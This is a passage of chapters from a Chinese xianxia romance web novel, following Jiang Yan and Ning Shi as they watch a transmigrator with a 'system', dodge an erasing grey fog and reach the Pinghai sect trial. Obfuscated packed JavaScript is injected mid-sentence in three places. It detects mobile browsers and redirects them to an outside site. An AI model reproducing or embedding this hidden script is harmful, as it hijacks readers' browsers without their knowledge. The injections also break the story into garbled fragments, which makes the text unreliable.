啾啾却不依了,它歪了歪脑袋:“就这?你为什么这么敷衍?” 江晏:“因为你太厉害了,肯定能打得过赵玉升那个所谓的系统,对吧。” 啾啾看了他一眼:“嗯,那当然了。” 它正欲在说什么,宁时却终于回过神来。 他拍了拍江晏:“彤云,赵玉升他这是怎么回事啊?” 江晏:…… 他想了想,道:“他可能不是这个世界的人。” “有一些来自异世的人,我们可以把他们叫做穿越者。” “攻略者就是穿越者其中的一种,他们有的人身上会带一个叫做系统的东西。” “系统会帮助他们做一些任务,如果任务没完成……可能会有惩罚吧。” 他毕竟从前也没有接触过这种穿越者,只能用自己和啾啾闲聊时听到的内容,给宁时解释了一遍。 宁时似乎大致听懂了,他轻声“哦”了一下,继续观察赵玉升。 赵玉升此时已经和他的系统联系上了。 由于系统和啾啾一样,可以控制不出现实体和虚影,因此在现实世界中,看起来就是他一个人在自言自语。 赵玉升问:“系统,我刚刚被宁希拒绝了,怎么办?” 又道:“被拒绝得死死的,没给我留一点机会。” 不知道那系统说了什么,片刻后赵玉升又说:“所以你的意思是,让我过段时间再去找慕青试试——行吧,毕竟有那些年的同窗情在。” 他说着,却是把自己说激动了:“我真是搞不明白,为什么攻略一个人成为道侣就这么难!” “做完这个任务,我的修为才能增长——世界上怎么会有这么离谱的数值限定模式。” 他深吸了一口气:“明明之前涨修为,只需要路人的好感度刷上去就可以了。” “现在因为是修为变高了,所以才变难了吗,但这样压力好大啊。” 赵玉升立在原地干嚎:“我真的是太惨了,一穿过来就是毫无修为小婴儿的身体。” “还要不断做任务,不断涨修为——这和重新念一遍书有什么区别!” “啊啊啊啊就让我这么废掉吧……” 他靠着墙上,悲伤望苍天。 片刻后,应该是他的系统又和他说了些什么,赵玉升又点点头:“你说的有道理,在这种情境下,我的修为停滞,后果似乎更严重一些。” “算了……我还是继续干活吧。” 他眼神发直:“可是,我明明已经用那么多积分换了帅气的外貌,”他又点点身后那把琴,“哦,还有这个,无论是在平时还是实战中都很拉风,但是,为什么她们都拒绝了我!” “拒绝了一位会弹琴会用剑的器修,我的天呐,我根本都想象不到原因——为什么攻略这么难啊!” 听到此处,江晏宁时对视一眼,眼中都是恍然大悟: 这看起来花里胡哨的赵公子,居然是一位器修。 他从外表上完全看不出来,毕竟他身后背琴,腰间挂剑,猛一看确实是年轻女孩子们喜欢的音修或者剑修。 ……看得出来,赵玉升本人对攻略任务非常上心。 宁时想到了什么,悄声对江晏道:“这么看来,赵阁主包容度还是很高的。” 江晏:? 宁时解释:“千机阁里本来就是一大堆器修……自己的亲儿子打扮成谁也认不出来干什么的模样,确实需要个好心态。” 江晏也就笑了。 他俩在暮春温吞吞的日光中,继续看赵玉升发疯。 赵玉升又自言自语道:“什么,你说我不知足吗?” “你的意思是我如果不愿意做这种攻略任务的话,就要接受永远在元神期的修为?” “可是,”他的声音变得愤懑,“你有没有想过,千机阁就我一个孩子,所有的希望都在我身上。” “我代表的是下一代。” “看看其他门派的下一代吧……平海宗不必多说,悬水宫的宁希才多大的年龄,就已经是金丹期了。” “可我呢?” 那边的系统不知道又劝了些什么,总之,赵玉升又渐渐安静下来。 他低下头,一言不发地整理着刚才因大幅度动作而散开的衣摆。 片刻后,匆匆离去。 他身影消失后,就意味着这场好戏到了收尾阶段——无论过程如何,总归是宁希拒绝了赵玉升,而赵玉升也没有再纠缠。 有一种尘埃落定的踏实,江晏和宁时同走在山茶园的小径上,他们都知道,剩下的事情,就要看双方的父母如何用言语粉饰过去,找到一个看起来相对平和一些的借口拒绝了。 他们在山茶园里左拐右拐,江晏看着宁时的睫毛透着日光,间或扑棱一下。 他就突然想到了宁时关于宁希的那个心愿。 于是江晏开口:“时哥,这件事情结束之后,妹妹会怎么样呢。” 宁时自然知道他意有所指,说的是宁希所见过的奇怪的故事,于是道:“感觉应该没什么问题。” “希希看起来一点都不傻,她做事是有分寸的。” “再加上现在赵玉升已经被拒,他们应该产生不了更多的交集了。” 江晏点点头,又问:“我还记得,她曾经说过还有另外一名……师兄?” 宁时摆摆手:“那是平海宗的人,和我们更没什么关系了。” 在这个世界里,修真界依旧是有大大小小的门派。 其中以悬水宫、平海宗、千机阁等门派为首,这些头部门派里,平海宗的规模更大一些。 除非有整个修真界新弟子们选拔,亦或者是有什么危及修真界存亡的大事,这几大门派间并不会有大规模的往来。 因此宁时的话很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14987291|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有道理,江晏便放心了许多。 他和宁时缓步走着,又回到了有竹苑。 此时已距离宁时上一次服药过了十日,他从书架上取来瓶药,倒出一颗在手掌心,仰头服下。 江晏坐在他身边看着。 这些年来,宁时的热症一点也没有要自愈的趋势,看来,当年周大夫的话确实没有错,这甚至断绝了悬水宫众人最后一丝希望是误诊的可能。 宁时吞下药丸,又将药瓶放好。 江晏陪着他,只觉得此人快要被药丸淹入了味,浑身上下散发着一种淡淡的冷香。 他和宁时呆得时间久了,身上和衣服上都沾染了相同的味道。 尤其是头发,即使在发梢末端也浮动着兰冰莲的味道。 好闻是好闻,江晏想,但是他确实不想继续再闻到这个味道了。 如果什么时候天山秘境开启,他得了冷莲…… 他的思绪被宁时突然摸上他后颈的手打断了。 江晏扭过头来,看着宁时:“你在干什么?” 宁时顺着他的脖子摸了两下:“在看小狐狸发呆。” 江晏:…… 他这边在想着对方热症的事,可对方居然还有心情调侃自己。 但不得不承认,狐狸的身体就是狐狸的身体,即使现在已经变成人了,江晏依旧觉得,宁时这几下……摸得他自己非常舒服。 如果他还是一只狐狸,现在估计已经是打起了呼噜。 但毕竟他现在是一副人的模样,在不知不觉中,江晏多少端起了从前剑修时的架子。 他在原地因为过于舒服忍耐了一会,最终小声说:“别摸了,我现在是个人,不像话。” 宁时闻言收回了手,却是静静看着他,看不清情绪。 江晏又说:“你是不是还是更喜欢狐狸的样子,这样摸起来似乎更对劲。” 宁时直视着他眼睛:“没有,彤云这样就挺好看的。” 江晏:“哦。” 宁时挑了挑眉:“好敷衍的回答,你不相信吗?” 江晏本来正欲说没有,宁时却突然凑了过来。 带着他身上淡淡的冷香,张开双臂搂住了他脖子。 江晏:! 这些年来,他虽然和对方一直都是亲亲密密,类似于这样的动作没少做,但此时此刻,这种气氛未免有些……太和谐了。 他僵着后背,像一只被拎起了后颈脖的小狐狸。 ——事实上也确实差不多了,宁时一只胳膊围着他的脖子,于是那只手就搭在了他的侧颈。 宁时把脑袋埋进他的肩窝:“小狐狸最好了。” 江晏:“嗯。” 他感受着对方说话间呼出来的热气喷洒着,只觉得那一小片皮肤都变热了。 他停了停,又问宁时:“怎么突然想起来说这个?” 宁时依旧是埋着头:“只是看着宁希遇到的那些事,突然间想到了。” 江晏也就犹犹豫豫抬起一只手,扶上他搭在自己颈间的胳膊:“你也是在这个世界上对我最好的人了。” 宁时同样轻轻“嗯”了一声,在他鬓边蹭了蹭。 143. 吃醋 时间在无所事事时,总是过得飞快。 不过是转眼的功夫,已经从春雨如丝,到了高树鸣蝉。 而修真界每五年会举行一次的会试,在今年的冬天,即将到来。 会试,是修真界所有年轻一辈修士之间的比试,只要是金丹期或者是金丹期以下的修士,都可以参加。 由于这比赛是整个修真界进行的,规模自然巨大。 所以有一条不成文的规定,就是在会试正式开始之前,大约在夏秋之际,各个大小门派会先初步选拔出一些有能力的弟子,作为正式会试的人选。 这种初步选拔,也就被简称为了初试。 初试的内容,和正式的会试大差不差,无非就是单人对战,多人对战,在或者是群体秘境历练这种。 而至于初试的形式,这就很多变了。 有门派自己选拔的,也有几个门派联合在一起,后者的形式,弟子们之间既能互相切磋,同时也能实现选拔演练的目的。 比如,悬水宫通常会和平海宗、千机阁、百炼门等等门派一起,举办这初试。 现在的宁希,正好是金丹期的修为,她自然也是要参加初试的。 并且是和悬水宫中众多子弟,一起参加。 起初,宁白珠告诉宁时这个消息时,还多少有些支支吾吾的,生怕他多心。 但宁时已经是一个成熟的成年人了,他对自己的身体情况也看开了。 他看着宁白珠飘忽的眼神,只道:“这是妹妹的喜事,我自然是很高兴的。” “盛事本就难得,可惜我不能亲自参加,体验一番了——所以,我能不能带上彤云,和妹妹一起去?” 宁白珠:…… 她不料长子提出了这个要求。 说实话,如果带着人形彤云出门,这样的行为放在平时,是有一点过火的。 但是…… 宁白珠坐在有竹苑里,闻着其中弥漫不散的兰冰莲香气,又听着不远处乘曦苑中宁希练剑的声音,终究是心软了。 她说:“可以,但你自己要注意分寸。” 宁时点头:“放心吧,我们只是去看看热闹,别的什么也做不。” 两人又聊了几句后,宁白珠起身离开。 于是有竹苑里安静下来。 江晏听着声音,在确认宁白珠走了之后,从后院里钻出来,窝到宁时身边。 刚才他们母子的一番话,江晏是听的清清楚楚。 但他心中尚有疑虑,便问宁时:“只是你要把我带过去,这样做,真的好吗?” 宁时挑眉:“有何不妥?” 江晏:“不是说妖修和人修关系不好吗,我是说,万一,万一连累了你们,应该怎么办?” 宁时伸手摸着他的头顶,平静道:“可是我们彤云是一只好狐狸。” “从来没有害过人——如果修真界连一只狐狸的好坏都分辨不出来的话,那些苦修岂不是都修到狗肚子里去了?” 江晏听了,本想说他这番话有些狂妄了,但转而一琢磨,感觉确实是这个道理。 ——所以自己究竟在心虚个什么劲!江晏想,我明明是个好的! 连吃鸡肉都是吃熟了的! 他一下子有自信了。 刚刚那对不确定未知的不安已经消散,他变得兴致勃勃,开始和宁时谈论起初试相关事宜。 …… 考试之前时间流速,从感官上讲,是比平时更快一点的。 很快,江晏便同宁时一起,和悬水宫的众多子弟,一同坐上了飞船,前往平海宗,也就是这次初试的地点。 这巨船升起至空中,只见四周皆是白茫茫一片,层层叠叠的云雾从众人身边掠过,好似蓬莱仙境一般。 几位筑基的修士,扒拉着栏杆,伸长了脖子张望着。 说来也巧,这次整个修真界的正式会试,同样也在平海宗,以这艘巨船的速度,不过半日便可到达。 在甲板上,宁希坐在江晏和宁时旁边,已经开始展望了:“如果我顺利通过了初试,那就很方便了,直接在平海宗住着,等到会试开始便好。” 江晏也点头:“正是,也可以一同去附近逛一逛,就当是游历了。” 宁时也微微颔首,表示赞同,只是目光似乎有些飘,似乎在想事情。 毕竟是悬水宫宫主的孩子,许多普通的弟子认出了他们却不敢靠近搭讪,于是三人身边便和其他弟子空出了一大段距离。 江晏用眼神衡量了一番,只觉得这是一段几人正常讲话也不必担心被他人听到的距离。 他便开口,对宁时道:“你在想什么呢?” 宁时支吾了一声:“我在想……平海宗负责此次初试事宜的是那位。” 宁希随手取了一颗蜜渍李子丢进嘴里,问:“所以是谁呀?” 宁时脸上的表情扭曲了一瞬:“你心真大……不,这个不重要,重要的是,”他的脸色有点凝重,“那个人是谢乘风。” 在宁希讲述过那个故事之后,谢乘风的名字,变得同赵玉升一样,敏感起来。 于是宁希和江晏俱是挺直了后背,异口同声开口: 宁希:“实在不行我躲着他嘛。” 江晏:“这位谢道友相貌如何?” 宁时:…… 他先是高深莫测地看了一眼眨巴着眼睛的宁时,又扭过头去看江晏,皮笑肉不笑道:“怎么了,这么关注人家?” 江晏没有意识到分魂的小心思,只是自顾自地说着:“由于故事里他是长了一张让人一见钟情的脸,我这不是好奇他的样貌嘛。” 宁时微笑:“我们见过,谢公子确实相貌堂堂,一表人才。” 江晏浑然不觉他语气中的微妙:“嗯,听起来确实不错的模样。” 他说完这句话,身旁的宁希终于是察觉到了气氛的不对劲,意识到这一点后,再去仔细观察,只觉得他哥浑身冷气与醋劲齐飞。 宁希哆哆嗦嗦,用摇光的剑柄捅了下江晏:“狐……胡哥哥,你别说这个了。” 宁时闻言,却微笑的看了她一眼:“没事,让你胡哥继续说,我看他对人家谢道友挺感兴趣的。” 江晏:…… 他从这对兄妹的谈话中,终于琢磨出了一丝不寻常的气息。 他经历过好几个世界,见过不同形态的分魂,几乎是立即就反应出了此时面前宁时的心态——他这居然是吃醋了。 一时间,江晏居然有些哭笑不得了: 他原以 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江晏见他这副模样,玩心大起,便夹着嗓子道:“哎呀,我错了嘛,不应该想……” 他的话说到一半,自己却是先忍不住了,控制不住地笑出声来:“哈哈哈哈——” 他这么一笑,宁时也一起破功了。 宁时也勾着嘴角,摸了摸他的头:“你啊……” 江晏任由他摸着,道:“行啦,我就知道,时哥是最大度的了,也是最好看的!” 宁时就笑了。 他们旁边,宁希也凑了过来,伸手指着自己,对江晏问:“胡哥哥,那我和哥谁好看?” 江晏毫不犹豫:“你好看。” 宁时笑着拍了宁希一下:“你个没眼力见的——我和彤云玩得正好,你来凑什么热闹?” 江晏揶揄道:“所以你是连亲妹的醋都要吃吗?” 宁时:…… 三人热热闹闹,笑成一团。 他们乘坐的这飞船行驶地极快,此时过了半日,周围的景象已经与刚出发时大不相同。 悬水宫坐落在一片坡度平缓的矮山上,而现在,船外的景象是连绵的丘陵。 站在飞驰的船上看去,起伏的青山如同游龙,一波未平一波又起。 而远处景色濛濛霭霭,另有一番犹抱琵琶半遮面的滋味。 此地景色甚佳,一时间,所有的弟子们都安静了不少,专心欣赏美景。 江晏等三人也不例外。 宁希扒着栏杆,仰着头,感受着带着山间水气的风拂在脸上。 片刻后,她的动作似乎停了一下。 宁希慢慢转过身来,脸上是如同见了鬼一般的神色。 江晏和宁时:? 宁希抬手,指着朦胧的远处,对二人问道: “你们俩有没有看到……一团灰雾?” 宁时“啊”了一声,似是没有反应过来。 但江晏却打了个激灵: 他可没有忘记,自己在这个世界的第一个身体,那株桃树,是怎么死掉的。 144. 途遇灰雾 江晏回想起当年的场景,心里凉了几分。 但他面上不显,依旧保持着一位“哥哥”的风度。 他问宁希:“你说的这东西,看起来很像是那种会抹去一切的灰雾吗?” 听到这里,宁时显然想起来了此物,眼睛微微瞪大了。 而宁希则是点点头,语气焦急,却也有着几分不确定:“看起来确实很像那种东西,只是隔得远,我并不能看的真切。” 宁时道:“那我们便告诉控船的长老,即刻绕道便是——看错了没关系,但万一没看错又没有跑,那就来不及了。” 说罢,几人便从甲板上下来,去了底下的驾驶室。 驾驶室中,被切得方方正正的灵石悬挂其中,数量之多,几乎布满了上下左右全部的墙面。 而这些灵石中所显示的画面,便是飞船周围实际的景色。 坐在其中的,则是一名白髯老者。 这是悬水宫的一名长老,名为童正还。 三人来到童长老面前,行了个礼,道:“童长老好。” 老者笑了,伸手一挥,屋子里便多了三把凳子,他又指了指这几个凳子,道:“小友请坐。” 江晏和宁时还是犹豫着,宁希却向前迈出了一大步,急道:“长老,情况好像有些不对。” 宁希在悬水宫,虽然向来是风风火火,但遇到大事时,还是很靠谱的。 听她这么说,童长老面色微变,道:“小姐不急,慢慢说来。” 宁希跺了跺脚,看都不看旁边的椅子一眼,道:“我们刚刚站着甲板上,看到远处出现了一团灰雾!” 长老毕竟见多识广,听了她这话,还有不明白的? 他即刻站起身,匆匆往哪几块灵石前面走去,口中一边道:“可是我为何没有在灵石上看到?” 宁时道:“长老不必自责,那灰雾诡异,可能连灵石也无法捕捉行踪。” 这确实也有道理,童长老点点头,再次挥手,几人面前豁然开朗——竟是直接从船下的房间中,站到了甲板上来! 他们一行人出现得突然,一时间,不少同样在甲板上的弟子,把好奇的目光齐齐聚在了他们身上。 尤其是在看清了童长老也一起上来之后,这种好奇便尤为明显了。 童长老却只是扬声道:“所有弟子,即刻下甲板,各自回到各自的房间!” “非我通知,不得外出!” 他声如洪钟,语气严肃,悬水宫不少弟子神色一凛,拉着身边的同伴便下去了。 几乎是眨眼的功夫,船面上便空了,只剩下他们四人。 江晏本欲将宁时赶下去,但转念一想,分魂在这个世界上最亲近的人都在甲板上,便也作罢。 ——反正万一遭遇变故,自己护着他就是了。 江晏想。 而远处,那团灰黑色的雾气,似乎还在变大——他们距离这团不详的东西,更近了。 童长老振臂一挥,这巨船一颤,陡然间改变了方向! 原本船是直行的,此时偏离了航行轨道,逐渐向着左前方的距离去了。 只是船体巨大,这方向改变起来,也是需要时间。 而那团灰雾愈发近了。 江晏能够看到,它从远处的青山那边滚来,而原本应该是青山的地方,不仅仅是寸草不生。 而是整个山头都消失了。 像是从来没有存在过一样。 江晏就想起了他在第一个小世界里,见过的名为“橡皮”的东西。 这灰雾所到之处,就像被橡皮擦过了一样,什么都不剩下了。 这种力量过于震撼,即便他这具狐狸精的身体中实际是一个化神期的剑修,也依旧感觉到神魂在微微震颤。 ——亲眼目睹这种如同天谴一般的能力,不禁让人生出身如蜉蝣的感慨。 巨船行进的方向继续偏移着。 童长老双手依旧高举,看不见的灵力源源输出,带得手臂上面青筋暴起。 宁希在原地站定,将手掌对准他的后心,输送灵力。 …… 距离这团灰雾更近了。 江晏可以仔细看到它的形容了。 它看起来平平无奇,像是普通的,点燃木柴后的黑烟。 但它又是致命的。 它碰到的巨石,巨石消失了。 它的边缘扫过河流,于是水流被截断。 直到这团灰雾完全飘过去后,那水流才猛然间扩到消失的那部分中去。 却是在河床上出现了个漩涡——那些流过去的水,不知道通向了何处。 船继续是向前行进着,这团灰雾几乎是到了众人面前。 它的边缘颤抖着,随着高空中的风延长,如同海底摇曳的水草。 如果这团灰雾被风吹得变了形,又恰好扫到了巨船边缘的话…… 四人几乎不敢细想。 只见童长老大喝一声,手中灵力暴涨,几乎呈现出了淡淡的金色。 飞船船身一震,在本来就已经改变的航线上,又缓缓向与灰雾相反的方向继续移去了。 灰雾还是继续飘着,万幸的是,它依旧是沿着之前的方向。 于是悬水宫的巨船,与这灰雾擦肩而过。 江晏屏住了呼吸。 现在,他们已经到了离这灰雾最近的距离。 他们这边只能听见巨船运行中的轰鸣声,而不过相隔一丈远的距离,在灰雾那边,世界却是极度安静的。 ——确实,在灰雾抹去了一切存在之后,根本不会再产生任何声音了。 这让人感到了一种巨大的割裂感。 他们坐在这船上,向游荡在无尽的虚空当中。 灰雾与巨船相向而行,擦肩而过。 众人并不敢放松警惕,只是都转了个方向,目送着灰雾越飘越远,直到一点也看不见了。 这才俱是放下心来。 童长老也收起了灵力,宁希搀扶着他下去。 不一会儿,整艘船上便响起了童长老告知大家已经平安的消息。 这些参加初试的弟子们毕竟年轻,在得知危险解除后,便又叽叽喳喳、欢欢喜喜地从各自的屋子里出来,重新聚在船面上,三五成群,大多讨论的是刚才发生的事。 江晏和宁时站在一起,也是听了几耳朵。 某棕发弟子:“欸,你说,刚才过去的那一团灰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“从严格意义上讲,如果这个小世界里也有上古神器碎片,那应该和我是一个级别的。” 江晏:…… 他不想说话了。 啾啾看看他,又看看宁时:“其实也许你陷入了一个思维误区。” 江晏看了它一眼。 啾啾说:“你想解决掉灰雾,这算是一个很宏大的心愿了。” “可以说,相当于拯救世界。” “但是,”小鸟跳上了他的肩头,和他一起望着宁时,“你有没有想过,以宁时现在的情况,他对于灰雾一事,根本没什么情绪?” “尤其是,他身边没有人遭受到灰雾的伤害……哦,你的桃树身体不算。” 江晏:…… 啾啾继续大声道:“他修为停滞得久了,就快死掉了——按照需求层次,灰雾根本轮不到他操心。” 江晏这次沉默了良久,道:“所以,他现在的心愿,还是找到冷莲把病治好吗?” 啾啾点头:“是这个道理。” 小鸟想了想,还是道:“我以神器的身份,向你透露一点东西。” 啾啾难得正经了起来,连带着江晏也有些紧张了。 他竖起耳朵,只听见啾啾说: “这不是一个全员主角的世界嘛。” “每个人都走向自己不同的人生,比如赵玉升有着攻略系统。” “你就安心当你的小狐狸,把分魂陪好了就行。” “拯救世界,另有人选。” 145. 平海宗 这一段小插曲过去后,不过又过了两柱香的时间,悬水宫众人抵达了平海宗宗门口。 一时间,几乎是所有弟子都探出脑袋,睁大眼睛,看着外面的景象。 江晏看着,只觉得平海宗和他的合江宗,看起来多少有些相似。 都是依山建成,从几十丈高的大门往里望进去,能看到层层叠叠的群山。 想来山上也会有各个峰主。 他打量一番后,收回视线。 只见此时,平海宗门外已经聚集了不少大大小小的法器,应该都是来参加初试的各个门派,在门口等着,依次入内。 巨船速度慢下来,逐渐降落至距离地面一丈高的地方,随着前面的队伍缓缓移动着。 这队伍看似排得长,但移动的速度依旧是快的。 不过是宁希吃了三颗蜜饯的功夫,悬水宫的巨船,已经行到了平海宗的大门口。 离得近了,江晏才发现,在地面上站着一群年轻修士,想来是平海宗负责引导他们这些人入内的弟子。 只见他们都身着宗门内蓝白色系的衣服,让人一看便知身份。 其中为首的是位年轻男子,江晏打量着他,感觉对方似乎比宁时要小一些。 他这样看着,肩膀一沉,上面突然多了一只手。 江晏扭头,果然看到了身后的宁时。 宁时垂着眼向下看去,长长的睫毛扑棱着,道:“你看到他们在前面那个人了吗?” 江晏:“嗯。” 宁时:“那个人,就是谢乘风了。” 江晏:! 他一下子紧张起来,扭着头,四处去找宁希的身影。 然后发现……宁希依旧站在原地,直勾勾地望着平海宗的山门,一面往嘴里机械性地塞着蜜饯。 江晏沉默了。 宁时顺着他的视线过去,也愣了一下,随后哭笑不得:“也好,也好,妹妹估计是开始紧张了。” 江晏点头:“要考试了,谁能不紧张呢。” 他们提到了“考试”二字,只见远处的宁希耳朵动了动,然后扭过头来,咽下了口中的蜜渍李子,清清嗓子,对二人道: “相信我,我肯定能通过考试的!” 江晏和宁时悄悄交流了一个眼神,眼中俱是——这孩子太可爱了。 之后二人便又对她笑着,挥了挥手。 宁希报以挑眉,又继续扭过头对着山门,不知道在想些什么。 他们说话间,站在宗门处的谢乘风,已经检查完毕悬水宫带来的文书,于是那连天接地的大门中,似有灵光轻微一闪,巨船便轰鸣着启动,缓缓驶入其中。 出人意料的是,平海宗没有有派专人飞在他们前面引路,而是刚刚由谢乘风贴了一张符纸在各个宗门的同行器具上。 悬水宫的这张符纸,就贴在了甲板旁边的围栏上。 符纸泛着盈盈光芒,于是,悬水宫这艘巨船,向着符纸中既定的方向移动着。 宁时望着那符,不由得多看了几眼,顺口对江晏道:“此物倒是便利有趣。” 江晏便自然而然接话:“你觉得亲切也是正常的……” 话一出口,他瞬间意识到了什么,又生生止住了未尽的后半句。 但宁时似乎也没有听清,他问:“彤云,你刚刚说了什么?” 江晏干咳一声:“无事,”又补充道,“只是看着符纸……” 他话音未落,那符纸闪了闪,突然出声:“平海宗恒阳峰杜宣欢迎各位道友前来!” 宁时赞叹了一声:“居然还是会说话的符纸啊。” 江晏亦是点头:“好活泼的气氛……想来这符纸就是杜道友做的。” 一面想着,等会去之后,可以让宁时试试此物。 巨船又在平海宗内行了半柱香的时间,缓缓停靠在了一片院落前。 这地方几乎占据了整个山头,规模极大,放眼望过去,院落有大几百处。 巨船上的符纸闪了闪,显示出“到地方了”几个字。 还是手写体,龙飞凤舞,在边缘处画了一朵桃花。 江晏盯着研究了一会儿,只觉得这依旧不像是谢乘风的风格——估计这两下花里胡哨的东西,也是出自那名叫做杜宣的弟子之手。 悬水宫众人陆陆续续下了船,走向各自的房屋——在初试开始之前,平海宗已经向各个门派要过来人的名单了,因此有足够的时间把住处分配好。 这处山头每个院落有三间屋子,每个屋子子可以容纳两人。悬水宫来了数百人,占据了大几十间院落。 而依旧有很多院落是空着的,那是等待其他门派弟子的到来。 由于宁时一行人是悬水宫宫主的亲孩子,自然是受到了轻微的优待——当然,也可能是宁白珠提前和平海宗沟通过的。 总之,宁时和江晏被安排在了同一间屋子。 在这个院落里,宁希自己一人占据了独一间。 另外一间屋子,据说也是只住了平海宗的一位弟子,年龄不大。 于是,这处院落,就被四个人占满了。 宁希和宁时本来就是兄妹,并无什么大防;而至于那位尚未谋面的平海宗弟子,据说他是暂住于此,更多时间是回到他在宗门里的住处休息。 所以并没有不方便之处。 江晏等人对他自然是好奇的,平海宗又在每个初试者的房间上贴上了姓名,门派和门派分支,于是三人便凑到那平海宗弟子的房门前,研究起来。 只见一张木牌挂在门前,上面写着: 宋游,平海宗恒阳峰。 江晏和宁希还是不明所以时,宁时已经伸出手来,敲了敲木牌: “这位是谢乘风的师弟,亲师弟。” 宁希瞪圆了眼:“啊这么说来,谢道友会不会过来……” 宁时无奈:“他是平海宗主峰一脉的大弟子,相信我,他没空来的——和自家师弟说话何必要来此地?” 江晏也是点头:“有道理,估计是看在宫主份上,把平海宗最核心一脉的新人和我们放在一起了。” 宁希摊手:“我明白了,无非是说什么相互学习交流之类的啦……” 就在这时,院落的门开了。 三人齐齐回头,只见院落门口站着一位少年。 确实年龄不大,看起来和宁希年龄相仿。 他抱着一把剑,眼睛有些圆,见了几人,露出了恍然大悟的神色。 他匆匆忙忙跑了过来,口中一边道:“平海宗恒阳峰宋游,幸会幸会……” 江晏对他笑了笑,任由宁希把三人一起介绍给这位小修士。 不知为何,江晏只觉得他听到宁希的自我介绍时,似乎愣了一下,随即又掩饰了过去。 ……这就有点意思了。 江晏听着几人寒暄,一边琢磨着。 宋游的神色是完全的惊讶,看起来从前没有见过宁希,但知晓她的身份。 宁希的身份,除了悬水宫宫主的女儿,又有什么特别之处呢? 江晏几乎想得开始头疼了,也没有琢磨出个结果。 他按按额角,决定今天的餐食,要加上一整只鸡来补补脑。 而面前,几人简单聊了几句后,见宋游还没有收拾屋子,便主动暂停了交谈,留给对方时间安顿好住处。 宋游连连道谢,从储物袋中翻出一堆行李扔进自己房中。 宁时和宁希转身回房休息,江晏想了想,随他们一起离开。 同时,用另一只手背在身后,悄无声息地画了一张见行符——从前附在宁时身上那么久,剑修也学会了符修的一些皮毛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15007134|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这张见行符很快隐匿了气息,静静飘到宋游房门口——虽然知道此举有些不地道,但事关宁希,就是事关宁时。 江晏绝对不允许在自己的眼皮底下,宁时发生任何意外。 这些年来,宁时的身体似乎更加不好,舟车劳顿后,他一回到房间,就躺了下来。 江晏也不知道说什么才好,他默默躺在宁时身边,闭眼假寐,一边用意识观察着见行符的情况。 院中。 可能由于屋子封闭了很久的原因,宋游收拾住处时,并没有关门。 他动作大大咧咧,反倒是打消了江晏的几分疑虑。 只见宋游如同任何一位寻常的少年修士一样,铺好了床,然后一屁股坐到上面,打开了通讯灵石。 他手指在上面点来点去,江晏知道,这是他准备和心中重要的对话,来讲述他的新见闻。 ……那么,在宋游灵石那一头的,又会是谁呢? 是他的师傅吗? 还是谢乘风?亦或者是他的家人? 宋游的灵石闪了闪——那是成功链接到对方的标志。 江晏看到,那一瞬间,灵石上浮现了两个字: 慕青。 想来就是对方的名字了……只是不知为何,剑修觉得有些耳熟。 一道清冷冷的女声响起:“何事?” 宋游一下子坐直了,似乎连眼神也清澈了不少,他道:“师姐!” 灵石那头“嗯”了一声,又道:“可否好玩?” 江晏看着少年,只觉得如果他有尾巴的话,此刻应该是摇成了花。 宋游兴高采烈:“好玩,都是从前没见过的。” 灵石那头听见他如此直白的描述,沉默一瞬,说:“嗯,开心就好。” 宋游又道:“师姐!我给你讲一个巨有意思的事情吧!” 慕青:“说吧。” 宋游便连珠带炮:“你猜猜我今天遇到谁了,你肯定猜不到!” 还不等他师姐回答,宋游一口气说了下去:“我遇见宁小宫主了!” “就是我们遇见赵玉升和他吃饭提到的,然后你骂他那次。” “干得漂亮,师姐继续保持。” “可千万不能被赵玉升帅气的外表蒙蔽……他就是个大花心萝卜!” 他这么狂风暴雨地一番输出后,灵石那头沉默了更久。 最终,慕青又“嗯”了一声,道:“知道了。” 说罢,灵石闪了几下,竟是直接熄灭了——她单方面切断了联系。 而宋游望着手中变灰的灵石,呆呆坐了片刻,突然一激灵爬起来,直冲向门外,道: “糟了糟了,师姐嫌我多管闲事了——” 几乎是眨眼的功夫便没了影,想来是去找他口中的师姐了。 而江晏终于反应过来自己看到了什么,他整个人都僵了: 怪不得,怪不得他会觉得慕青这个名字耳熟! 那分明是他和宁时偷听赵玉升自言自语时提到过的! 如果再往下深想,宁希提到的那个故事…… 江晏开始感觉整个人都不好了。 他有气无力地呼唤啾啾:“这是什么见鬼的情况啊。” 啾啾踹了他一爪子: “我劝你不要再多管闲事了。” “我只能告诉你,这个世界重启过一次,很不稳定。” “有那些灰雾就已经够受的了,不要做多余的事情。” 小鸟似乎什么都没说,又似乎什么都说了。 修真界最会打哑迷了,江晏左思右想,依旧是不太明白。 他决定不管了——反正一直以来,啾啾在大事上都值得信赖。 江晏翻了个身,收回见行符,将一条腿搭在宁时身上,沉沉睡去。 146. 单人赛晋级 终于是到了初试开始的第一日,这是单人与单人之间的一对一比试。 宁希抽取到的签,是与平海宗内一名弟子对战。 宁时和江晏等不上场,或者是未上场的修士,都三三两两聚在观众席中,与准备上场的同伴们说着话。 宁希的小脸皱成了一团:“哥,总觉得对方比我厉害,怎么办?” 江晏:…… 